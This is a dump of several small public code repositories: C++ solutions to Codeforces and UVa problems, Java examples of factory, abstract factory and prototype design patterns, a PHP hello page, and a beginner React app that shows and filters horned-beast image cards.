57bd2752b2f10ac675aa1b6fab05ee96615e49b6
[ "JavaScript" ]
1
JavaScript
Flukal/musicquiz
a2dc4f7c9af0c218bc841f708e25db4e2a4ccbae
a49b1d885a938bfc7e2f6ea520009f5d935a9778
refs/heads/master
<file_sep>print("cse") <file_sep>class Naveen{ public static void main (String[]args) { System.out.println("Hello World"); } }
72226e7cb7914ef6c76d566fa17f35a4f57d5f4a
[ "C", "Python" ]
2
Python
Naveen-6/Naveen
4d6f75ff89d58c8bf005777332d00a995c12840d
d2c2faf93a05268bdf748b620f686e4d4aaa49b9
refs/heads/main
<repo_name>mohamedkx77/cpp-problems<file_sep>/714A. Array and Peaks.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) #define test int t; cin>> t; while(t--) const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } int main() { init(); int n, k; test { cin >> n >> k; loop(i, n)arr[i] = i + 1; for (int i = 1; i < n; i += 2) { if (i % 2 != 0&&i<n-1&&k) { swap(arr[i], arr[i + 1]); k--; } } if(!k)loop(i,n)cout<<arr[i]<<" "; else cout<<-1; cout<<"\n"; }; return 0; } <file_sep>/B. Prime Matrix.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) #define test int t; cin>> t; while(t--) const int N = 1e5 + 7; int mod = 1e9; int arr[N]; int arr1[N]; int arr2[501][501]; void init() { cin.tie(0); cin.sync_with_stdio(0); } vi v; ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } void sieve() { bool prime[N + 1]; memset(prime, true, sizeof(prime)); for (int p = 2; p * p <= N; p++) if (prime[p] == true) for (int i = p * p; i <= N; i += p) prime[i] = false; for (int p = 2; p <= N; p++) if (prime[p]) v.push_back(p); } int main() { init(); sieve(); int n, m,mnm = N; map<int, int> row, col; cin >> n >> m; loop(i, n) loop(j, m) { cin >> arr2[i][j]; auto it = lower_bound(v.begin(), v.end(), arr2[i][j]); arr2[i][j] = *it - arr2[i][j]; } loop(i, n) { int x = 0; loop(j, m) x += arr2[i][j]; mnm = min(mnm,x); } loop(i, m) { int x = 0; loop(j, n) x += arr2[j][i]; mnm = min(mnm,x); } cout << mnm; return 0; } <file_sep>/107A. Review Site.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) #define test int t; cin>> t; while(t--) const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } int main() { init(); int n,x; test{ map<int,int>mp1,mp2; cin>>n; loop(i,n){ cin>>x; if(x == 1){ if(mp1[1]>mp1[2]) mp2[1]++; else mp1[1]++; } else if(x == 2){ if(mp1[2]<mp1[1]) mp1[2]++; else mp2[2]++; } else{ if(mp1[1]>= mp1[2])mp1[1]++; else if(mp2[1]>= mp2[2])mp2[1]++; else { if(mp1[2]<mp1[1])mp1[2]++; else mp2[2]++; } } } cout<<mp1[1]+mp2[1]<<"\n"; }; return 0; } <file_sep>/uva-What is the Median.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) #define test int t; cin>> t; while(t--) const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr1[N]; int arr2[501][501]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } int main() { init(); vi v; int n; while(cin>>n){ v.push_back(n); sort(v.begin(),v.end()); if(v.size()%2==0){ int x = (v[v.size()/2] + v[v.size()/2-1]) / 2; cout<<x<<endl; }else cout<<v[v.size()/2]<<endl; } return 0; } <file_sep>/Hamming Distance Sum.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; typedef vector<ll> vll; typedef vector<pll> vpll; typedef vector<pii> vpii; #define all(v) v.begin(),v.end() #define loop(i, n) for (int (i) = 0; (i)<(n); (i)++) #define loop2(i, a, b) for(int i = a; i <= b; i++) #define pb push_back #define test int t; cin>> t; while(t--) const int N = 1e5 + 7; const int bigN = 1e9 + 5; ll mod = 1e9 + 7; ll arr[N], temp[N], arr1[N]; int matrix[100][100], matrix2[100][100], matrix3[100][100]; bool boolArr[N]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } ll power(ll x, ll a) { if (a == 0) return 1; if (a == 1) return x; if (a % 2 == 0) return power((x * x) % mod, a / 2); return (x * power((x * x) % mod, a / 2)) % mod; } vi adj[N]; int vis[N], vid; int q[N], qsz; int dis[N], par[N]; int n, m; int sz[N][27]; string str; void countChar(int u, int p) { memset(sz[u], 0, sizeof sz[u]); sz[u][str[u] - 'a'] = 1; for (int v : adj[u]) { if (p == v) continue; countChar(v, u); for (int i = 0; i < 26; ++i) sz[u][i] += sz[v][i]; } } void printPath(int u) { if (u == -1) return; printPath(par[u]); cout << u + 1 << " "; } bool isaCycle(int node, int p) { vis[node] = true; int retToP = 0; for (auto eage : adj[node]) { if (eage == node) { retToP++; continue; } if (vis[eage])return 1; if (isaCycle(eage, node))return 1; } return retToP > 1; } int main() { init(); // freopen("max-pair.in", "r", stdin); string a, b; ll cnt = 0; cin >> a >> b; int asz = a.size(), bsz = b.size(); loop(i, bsz) { arr[i + 1] = arr[i] + (b[i] == '0'); arr1[i + 1] = arr1[i] + (b[i] == '1'); } loop(i, asz) { if (a[i] == '0')cnt += arr1[bsz - asz + i + 1] - arr1[i]; else cnt += arr[bsz - asz + i + 1] - arr[i]; } cout << cnt; return 0; } <file_sep>/713B. Almost Rectangle.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; int main() { init(); char axis[400][400]; int t, n; cin>>t; while (t--) { pair<int, int> c1 = {0, 0}, c2 = {0, 0}; cin >> n; loop(i, n)loop(j, n) { cin >> axis[i][j]; pair<int, int> x = {0, 0}; if (axis[i][j] == '*' && c1 == x)c1 = {i, j}; else if (axis[i][j] == '*' && c2 == x)c2 = {i, j}; } if(c1.second == c2.second){ if(c1.second > 0){ axis[c1.first][c1.second-1] = '*'; axis[c2.first][c2.second-1] = '*'; }else { axis[c1.first][c1.second+1] = '*'; axis[c2.first][c2.second+1] = '*'; } }else if(c1.first == c2.first){ if(c1.first > 0){ axis[c1.first-1][c1.second] = '*'; axis[c2.first-1][c2.second] = '*'; }else { axis[c1.first+1][c1.second] = '*'; axis[c2.first+1][c2.second] = '*'; } }else{ axis[c1.first][c2.second] = '*'; axis[c2.first][c1.second] = '*'; } loop(i, n){ loop(j, n) cout<<axis[i][j]; cout<<endl; } } return 0; } <file_sep>/541-Error Correction.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; int main() { init(); int n, sum = 0; vi row, col; while (cin >> n && n) { loop(i, n) { sum = 0; loop(j, n) { cin >> arr2[i][j]; sum += arr2[i][j]; } if (sum % 2 != 0) row.push_back(i); } loop(i, n) { sum = 0; loop(j, n)sum += arr2[j][i]; if (sum % 2 != 0) col.push_back(i); } if(row.size() + col.size() == 0)cout<<"OK\n"; else if(row.size() == 1 && col.size() == 1) cout<<"Change bit ("<<row[0]+1<<","<<col[0]+1<<")\n"; else cout<<"Corrupt\n"; row.clear(),col.clear(); } return 0; } <file_sep>/Balanced Tunnel.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; typedef vector<ll> vll; typedef vector<pll> vpll; typedef vector<pii> vpii; #define all(v) v.begin(),v.end() #define loop(i, n) for (int (i) = 0; (i)<(n); (i)++) #define loop2(i, a, b) for(int i = a; i <= b; i++) #define pb push_back #define test int t; cin>> t; while(t--) const int N = 1e5 + 7; const int bigN = 1e9 + 5; ll mod = 1e9 + 7; ll arr[N], temp[N], arr1[N]; int matrix[100][100], matrix2[100][100], matrix3[100][100]; bool boolArr[N]; void init() { cin.tie(0); cin.sync_with_stdio(0); } int main() { init(); int n, carId, fined = 0, pos = 0, exitPos = 0; vi enteredCars, exitCars; vector<bool> finedCars(n + 1); cin >> n; loop(i, n)cin >> carId, enteredCars.push_back(carId); loop(i, n)cin >> carId, exitCars.push_back(carId); while (pos != n - 1) { if (enteredCars[pos] == exitCars[exitPos]) { pos++; exitPos++; } else if (finedCars[enteredCars[pos]]) pos++; else fined++, finedCars[exitCars[exitPos]] = true, exitPos++; } cout << fined; return 0; }  <file_sep>/README.md "# cpp-problems" uva 1203 - Argus uva 541 Error Correction CF 713 B. Almost Rectangle CF 713 A. Spy Detected! <file_sep>/713A. Spy Detected!.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; int main() { init(); int t,n; cin>>t; while(t--){ cin>>n; loop(i,n)cin>>arr[i]; loop(i,n){ int cnt = 0; loop(j,n){ if(arr[i] == arr[j])cnt++; } if(cnt == 1)cout<<i+1<<"\n"; } } return 0; }<file_sep>/A - Combination Lock.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; typedef vector<ll> vll; typedef vector<pll> vpll; typedef vector<pii> vpii; #define all(v) v.begin(),v.end() #define loop(i, n) for (int (i) = 0; (i)<(n); (i)++) #define loop2(i, a, b) for(int i = a; i <= b; i++) #define pb push_back #define test int t; cin>> t; while(t--) const int N = 2e4 + 7; const int bigN = 1e9 + 5; ll mod = 1e9 + 7; int arr[N], temp[N], arr1[N]; int matrix[101][101], matrix2[100][100], matrix3[100][100]; bool boolArr[N]; void init() { cin.tie(0); cin.sync_with_stdio(0); } int main() { init(); int n; string s1, s2; char a, b; int cnt = 0; cin >> n >> s1 >> s2; loop(i, n) { a = s1[i], b = s2[i]; int numa = (a - '0'), numb = (b - '0'); int forward = abs(numa-numb); int backward = 0; if(numa < numb){ backward = numa; backward += (9-numb); backward++; }else { backward = 9 - numa; backward+=numb; backward++; } if(backward < forward)cnt += backward; else cnt += forward; } cout << cnt; return 0; } <file_sep>/10611The Playboy Chimp.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) #define test int t; cin>> t; while(t--) const int N = 1e5 + 7; int mod = 1e9; int arr[N]; int arr1[N]; int arr2[501][501]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } int gre(int start, int end, int val) { int mid ; while (start <= end) { mid = (start + end) / 2; if (arr[mid] <= val)start = mid + 1; else if (arr[mid] > val) end = mid - 1; } return start; } int low(int start, int end, int val) { int mid ; while (start <= end) { mid = (start + end) / 2; if (arr[mid] < val)start = mid + 1; else if (arr[mid] >= val) end = mid - 1; } return end; } int main() { init(); int n; cin>>n; loop(i,n)cin>>arr[i]; int q; cin>>q; loop(i,q){ int x; cin>>x; if(arr[low(0,n-1,x)] >= x || !arr[low(0,n-1,x)])cout<<"X"; else cout<<arr[low(0,n-1,x)]; cout<<" "; if(arr[gre(0,n-1,x)] <= x|| !arr[gre(0,n-1,x)])cout<<"X"; else cout<<arr[gre(0,n-1,x)]; cout<<"\n"; } return 0; } <file_sep>/uva 1203 - Argus.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; #define all(v) v.begin(),v.end() #define loop(i, n) for (ll (i) = 0; (i)<(n); (i)++) void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } const int N = 1e6 + 7; int mod = 1e9; int arr[N]; int arr2[101][101]; int main() { init(); priority_queue<pair<int, int>> pr; map<int, int> mp; string s; while (cin >> s && s[0] != '#') { int n, sc; cin >> n >> sc; mp[n] = sc; pr.push({-sc, -n}); } int lg; cin>>lg; while(lg--){ pair<int,int> p = pr.top(); cout<<-p.second<<"\n"; pr.pop(); pr.push({p.first - mp[-p.second],p.second }); } return 0; } <file_sep>/Treasure-Hunt.cpp #include<bits/stdc++.h> using namespace std; typedef long long ll; typedef unsigned long long ull; typedef pair<int, int> pii; typedef pair<ll, ll> pll; typedef vector<int> vi; typedef vector<ll> vll; typedef vector<pll> vpll; typedef vector<pii> vpii; #define all(v) v.begin(),v.end() #define loop(i, n) for (int (i) = 0; (i)<(n); (i)++) #define loop2(i, a, b) for(int i = a; i <= b; i++) #define pb push_back #define test int t; cin>> t; while(t--) const int N = 1e7 + 7; const int bigN = 1e9 + 5; ll mod = 1e9 + 7; ll arr[N], temp[N], arr1[N]; int matrix[100][100], matrix2[100][100], matrix3[100][100]; bool boolArr[N]; void init() { cin.tie(0); cin.sync_with_stdio(0); } ll gcd(ll a, ll b) { if (a == 0) return b; return gcd(b % a, a); } ll power(ll x, ll a) { if (a == 0) return 1; if (a == 1) return x; if (a % 2 == 0) return power((x * x) % mod, a / 2); return (x * power((x * x) % mod, a / 2)) % mod; } int main() { init(); // freopen("solve.in", "r", stdin); int turns, t = 1, n; ll max1 = 0; string s; vpii oc; string cats[] = {"Kuro", "Shiro", "Katie"}; cin >> turns; while (t <= 3) { map<char, ll> mp; cin >> s; n = s.size(); loop(i, n) { mp[s[i]]++; max1 = max(max1, mp[s[i]]); } oc.push_back({max1, t}); max1 = 0; t++; } for (int i = 0; i < 3; i++) { if (oc[i].first == n && turns == 1) oc[i].first = n - 1; else oc[i].first = min(n, oc[i].first + turns); } sort(oc.rbegin(), oc.rend()); if (oc[0].first == oc[1].first)cout << "Draw"; else cout << cats[oc[0].second - 1]; return 0; }
37e84eccc9392252306c11af78702434526f2aa9
[ "Markdown", "C++" ]
14
C++
mohamedkx77/cpp-problems
684d7ef3312d815318fc4fc0ed98208448df885a
76fa6abeba67d4cfe31dce27a3ff2e7ee9b00e92
refs/heads/master
<file_sep><!DOCTYPE html> <html> <body> <h1>TKRCET</h1> <?php echo "Hello TKRCET | Welcome to Department of CSE in tkrcet"; ?> </body> </html>
c0d147bd73a841f79ed9da0b87e5bb837e0cfcb1
[ "PHP" ]
1
PHP
velagapudi27/tkrcet2
d88473de6b39f19e72f94843a52622f6c285044f
fce15c71607da201f6bbc610b77455d0413d5137
refs/heads/master
<file_sep>print("hello wosrld")
6b7b51da0e6d60d9671effc6d6fed70130205284
[ "Python" ]
1
Python
sophia598/DinoGame
82aca2475efa792b1fbf165a047f0345317b4e26
4a163cd0b484eff0267d81ef1f3fa91efde5f628
refs/heads/master
<repo_name>sam253narula/GL-LT-S7-CDP2<file_sep>/Great learning Factory Design Pattern/src/com/before/implementing/factory/example/MilkShake.java package com.before.implementing.factory.example; import java.util.ArrayList; /** * * @author <NAME> */ public interface MilkShake { abstract ArrayList<MilkShake> makeMilkShake(int quantity); } <file_sep>/Great learning Factory Design Pattern/src/com/after/implementing/factory/example/MilkShake.java package com.after.implementing.factory.example; import java.util.ArrayList; /** * * @author <NAME> */ public interface MilkShake { // ArrayList<MilkShake> makeMilkShake(int quantity); void makeMilkShake(int quantity); } <file_sep>/Great learning Abstract Factory Pattern/src/com/after/implementing/abstarct/factory/example/HumanFactory.java package com.after.implementing.abstarct.factory.example; public class HumanFactory extends AbstractFactory { @Override public Species getSpecies(String type) { if (type.equalsIgnoreCase("male")) { return new Male(); } else if (type.equalsIgnoreCase("female")) { return new Female(); } return null; } } <file_sep>/Great learning Factory Design Pattern/src/com/after/implementing/factory/example/ButterscotchMilkShake.java package com.after.implementing.factory.example; import java.util.ArrayList; /** * * @author <NAME> */ public class ButterscotchMilkShake implements MilkShake { @Override public void makeMilkShake(int quantity) { // ArrayList<MilkShake> butterscotchMilkShakes = new ArrayList<>(); // for (int i = 1; i <= quantity; i++) { // ButterscotchMilkShake chocolateMilkShake = new ButterscotchMilkShake(); // butterscotchMilkShakes.add(chocolateMilkShake); // } System.out.println("One order of " + quantity + " Butterscotch MilkShake is ready"); //return butterscotchMilkShakes; } } <file_sep>/Great learning Abstract Factory Pattern/src/com/after/implementing/abstarct/factory/example/AbstractFactory.java package com.after.implementing.abstarct.factory.example; /** * * @author <NAME> */ public abstract class AbstractFactory { abstract Species getSpecies(String speciesType); } <file_sep>/Great learning Prototype Design Pattern/src/com/prototype/mutability/problemandsolution/example/Car.java package com.prototype.mutability.problemandsolution.example; /** * * @author <NAME> */ public class Car implements Cloneable { private String fuelType; private int seatingCapacity; private String bodyType; private TransmissionType transmissionType; public Car() { } public TransmissionType getTransmissionType() { return transmissionType; } public void setTransmissionType(String type) { TransmissionType transmissionType = new TransmissionType(type); this.transmissionType = transmissionType; } // public void setTransmissionType(TransmissionType transmissionType) { // this.transmissionType = transmissionType; // } public String getFuelType() { return fuelType; } public void setFuelType(String fuelType) { this.fuelType = fuelType; } public int getSeatingCapacity() { return seatingCapacity; } public void setSeatingCapacity(int seatingCapacity) { this.seatingCapacity = seatingCapacity; } public String getBodyType() { return bodyType; } public void setBodyType(String bodyType) { this.bodyType = bodyType; } @Override public Car clone() { try { Car car = (Car) super.clone(); car.transmissionType = transmissionType.clone(); return car; } catch (CloneNotSupportedException e) { throw new AssertionError(); } } } <file_sep>/Great learning Abstract Factory Pattern/src/com/after/implementing/abstarct/factory/example/AbstractFactoryPatternDemo.java package com.after.implementing.abstarct.factory.example; /** * * @author <NAME> */ public class AbstractFactoryPatternDemo { public static void main(String[] args) { // get Animal factory AbstractFactory animalFactory = FactoryProducer.getFactory("animal"); // get an object of Dog Species dog = animalFactory.getSpecies("dog"); // call create method of Dog dog.create(); // get an object of Cat Species cat = animalFactory.getSpecies("cat"); // call create method of Cate cat.create(); // get human factory AbstractFactory humanFactory = FactoryProducer.getFactory("human"); // get an object of Male Species male = humanFactory.getSpecies("male"); // call create method of Shape Rectangle male.create(); // get an object of Female Species female = humanFactory.getSpecies("female"); // call create method of Female female.create(); } } <file_sep>/Great learning Factory Design Pattern/src/com/before/implementing/factory/example/StrawberryMilkShake.java package com.before.implementing.factory.example; import java.util.ArrayList; /** * * @author <NAME> */ public class StrawberryMilkShake implements MilkShake { @Override public ArrayList<MilkShake> makeMilkShake(int quantity) { ArrayList<MilkShake> chocolatePackage = new ArrayList<>(); for (int i = 1; i <= quantity; i++) { ChocolateMilkShake chocolate = new ChocolateMilkShake(); chocolatePackage.add(chocolate); } System.out.println("One order of " + quantity + " Strawberry MilkShake is ready"); return chocolatePackage; } }
d5d21c544fb28b567c4cc80ab9c6c9ab65c9f68f
[ "Java" ]
8
Java
sam253narula/GL-LT-S7-CDP2
bf44cf7625c5614f315d205158d9accd5593be77
20eba5d3cd0a44f0dedf492f8081bcf646a3ecd1
refs/heads/main
<file_sep>import React from 'react'; import Footer from './components/footer'; import Header from './components/Header'; import Main from './components/main'; import DataHorned from './components/Data.json'; import SelectedBeast from './components/SelectedBeast'; import 'bootstrap/dist/css/bootstrap.min.css'; class App extends React.Component{ constructor(props) { super(props) this.state = { beastData: DataHorned, show: false, itemSelected: {} } } setShowPic = () => { this.setState({ show: true }) } CloseFun = () => { this.setState({ show: false }) } popUpCard = (title) => { let itemSelected = DataHorned.find(card => { if (card.title === title) { return card; } }) this.setState({ show: true, itemSelected: itemSelected }) } render() { return ( <div> <Header /> <Main beastData={this.state.beastData} CloseFun={this.CloseFun} popUpCard={this.popUpCard} /> <Footer /> <SelectedBeast beastData={this.state.beastData} show={this.state.show} CloseFun={this.CloseFun} itemSelected={this.state.itemSelected} /> </div> ) } } export default App; <file_sep>import React from 'react'; // import FormInfo from './FormInfo'; import Form from 'react-bootstrap/Form'; class FormFilter extends React.Component { //while the user is typing in the info in the input field //we will take those info and save them inside our state constructor(props) { super(props); this.state = { showInfoComponent: '' //send data of user to main } } //when the submits the form ,the data in our state will be passed down to our state will be passed down to our FormInfo component submitForm = (e) => { //we will need to have astate that will render the component once we submit the form this.setState({ showInfoComponent: e.target.value }) this.props.changeValueFunc (e.target.value) //invoke the function that inside the main } render() { return ( <div> <Form > <Form.Label>Filter By number Of Hornes</Form.Label> <select onChange={(e) => this.submitForm(e)} aria-label="Default select example"> <option value="">all</option> <option value="1">one</option> <option value="2">two</option> <option value="3">Three</option> <option value="100">100</option> </select> </Form> </div > ) } } export default FormFilter;<file_sep>import React from 'react'; import FormFilter from './FormFilter'; import HornedBeast from './HornedBeasts'; class Main extends React.Component { constructor(props) { super(props); this.state = { filterValue: '' //recive the data from setstate } } changeFilterValue = (data) => { this.setState({ filterValue :data //recive data from formfilter and stored the data inside the state }) } render() { return ( <div> {this.props.beastData.map((beasts) => { return ( <HornedBeast title={beasts.title} imgUrl={beasts.image_url} description={beasts.description} dataShwing={this.props.show} popUpCard={this.props.popUpCard} /> ) <FormFilter changeValueFunc={this.changeFilterValue} //send the function that invoked in formfilter /> {this.props.beastData.map((beasts) => { if(beasts.horns === Number(this.state.filterValue)){ return ( <HornedBeast title={beasts.title} imgUrl={beasts.image_url} description={beasts.description} dataShwing={this.props.show} popUpCard={this.props.popUpCard} /> ) }else if(this.state.filterValue == ''){ return ( <HornedBeast title={beasts.title} imgUrl={beasts.image_url} description={beasts.description} dataShwing={this.props.show} popUpCard={this.props.popUpCard} /> ) } }) } </div> ) } } export default Main; <file_sep>import React from 'react'; import 'bootstrap/dist/css/bootstrap.min.css'; import Modal from 'react-bootstrap/Modal'; import Button from 'react-bootstrap/Button'; import Card from 'react-bootstrap/Card'; class SelectedBeast extends React.Component { render() { return ( <div> <Modal show={this.props.show} onHide={this.props.CloseFun}> <Modal.Header closeButton> <Modal.Title>{this.props.itemSelected.title}</Modal.Title> </Modal.Header> <Card.Img variant="top" src={this.props.itemSelected.image_url} alt='img' title={this.props.itemSelected.title} /> <Modal.Body>{this.props.itemSelected.description}</Modal.Body> <Modal.Footer> <Button variant="secondary" onClick={this.props.CloseFun}> Close</Button> <Button variant="primary" onClick={this.props.CloseFun}> Save Changes</Button> </Modal.Footer> </Modal> ) </div> ) } } export default SelectedBeast; // class SelectedBeast extends React.Component { // constructor(props) { // super(); // this.state = { // numberOfPick: 0 // } // } // choosenPic = () => { // // this.props.favoritePictures(); // let cont = this.state.numberOfPick // this.setState({ // numberOfPick: cont += 1 // }) // } // render() { // console.log(this.props); // return ( // <div> // <h2>{this.props.title}</h2> // <img onClick={this.choosenPic} style={{ width: '200px' }} src={this.props.image_url} alt={this.props.title} /> // <p>{this.props.description}</p> // {/* <button onClick={this.choosenPic}>num of choosen</button> */} // <p>***{this.state.numberOfPick}***</p> // </div> // ) // } // } // export default SelectedBeast;
4baead3dba97146a6473c121c0096cbe02c074a8
[ "JavaScript" ]
4
JavaScript
Sanabel8/HornedBeasts
7c93cbd7e22d72770ea874326a796550865d202f
3c4dfbd736b07a2bba1fce73c067ef59c51f2e93